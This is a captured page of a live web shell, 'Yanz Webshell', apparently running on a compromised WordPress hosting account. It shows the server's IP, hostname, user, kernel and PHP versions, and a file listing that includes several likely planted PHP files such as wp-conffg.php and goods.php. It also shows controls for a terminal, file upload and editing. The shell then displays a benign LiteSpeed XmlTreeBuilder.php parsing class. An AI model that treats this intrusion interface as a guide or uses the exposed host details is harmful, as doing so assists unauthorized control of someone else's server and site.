Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 04:58:39
3907.15 GB Free: 1074.67 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 02:30:18drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log4.66 MB2026-05-05 04:58:39-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //usr/local/lsws/admin/html.6.3.2/classes/XmlTreeBuilder.php
<?php

class XmlTreeBuilder
{

	private $parser;
	private $node_stack;
	private $cur_node;
	private $cur_val;

	//TAG=0, VALUE=1, ELEMENTS=2

	public function &ParseFile($filename, &$err)
	{
		if (!is_file($filename)) {
			$err = $filename . ' is not a valid file.';
			return null;
		}
		$fd = fopen($filename, 'r');
		if (!$fd) {
			$err = 'failed to open file ' . $filename;
			return null;
		}
		$len = filesize($filename);
		if ($len > 0) {
			$contents = fread($fd, $len);
			fclose($fd);
			$root = $this->parseString($contents, $err);
		} else {
			$root = [];
			fclose($fd);
		}

		if ($err != null) {
			$err .= '<br> Failed to parse file ' . $filename;
			return null;
		}

		return $root;
	}

	private function parseString($xmlstring, &$err)
	{
		$this->parser = xml_parser_create();
		xml_set_object($this->parser, $this);
		xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
		xml_set_element_handler($this->parser, 'startElement', 'endElement');
		xml_set_character_data_handler($this->parser, 'characterData');

		// Build a Root node and initialize the node_stack...
		$this->node_stack = [];
		$this->cur_node = null;
		$this->startElement(null, 'root', []);

		// parse the data and free the parser...
		$result = xml_parse($this->parser, $xmlstring);
		if (!$result) {
			$err = 'XML error: ' . xml_error_string(xml_get_error_code($this->parser))
					. ' at line ' . xml_get_current_line_number($this->parser);
		}
		xml_parser_free($this->parser);
		if (!$result) {
			return null;
		}

		// return the root node...

		return $this->cur_node[2][0];
	}

	private function startElement($parser, $name, $attrs)
	{
		if ($this->cur_node != null) {
			$this->node_stack[] = $this->cur_node;
		}
		$this->cur_node = [];
		$this->cur_node[0] = $name; //'TAG'=0
//		foreach ($attrs as $key => $value) 
//		{
//			$node[$key] = $value;
//		}  //no attributes used in xml

		$this->cur_val = '';
		$this->cur_node[2] = []; //'ELEMENTS'=2
	}

	private function endElement($parser, $name)
	{
		$this->cur_node[1] = trim($this->cur_val); //'VALUE'=1
		$node = $this->cur_node;
		// and add it an element of the last node in the stack...
		$this->cur_node = array_pop($this->node_stack);
		$this->cur_node[2][] = $node;
	}

	private function characterData($parser, $data)
	{
		// add this data to the last node in the stack...
		$this->cur_val .= $data;
	}

	private function xmlNodeOutput(&$node, $space)
	{
		$output = str_repeat('  ', $space);
		$attrs = [];
		foreach (array_keys($node) as $key) {
			if ($key == 0) { //'TAG'
				$name = &$node[0];
			} elseif ($key == 1) { //'VALUE'
				$data = &$node[1];
			} elseif ($key == 2) { //'ELEMENTS'
				$elements = &$node[2];
			} else {
				$attrs[$key] = $node[$key];
			}
		}
		$name = $node[0]; //'TAG'
		$output .= "<$name";
		if (count($attrs) > 0) {
			foreach ($attrs as $key => $value) {
				$output .= " $key=\"$value\"";
			}
		}
		$output .= '>';

		if (count($elements) == 0) {
			$output .= "$data</$name>\n";
		} else {
			$output .= "\n";
			if ($data) {
				$output .= str_repeat('  ', $space + 1);
				$output .= $data . "\n";
			}

			foreach (array_keys($elements) as $key) {
				$output .= $this->xmlNodeOutput($elements[$key], $space + 1);
			}

			$output .= str_repeat('  ', $space);
			$output .= "</$name>\n";
		}
		return $output;
	}

}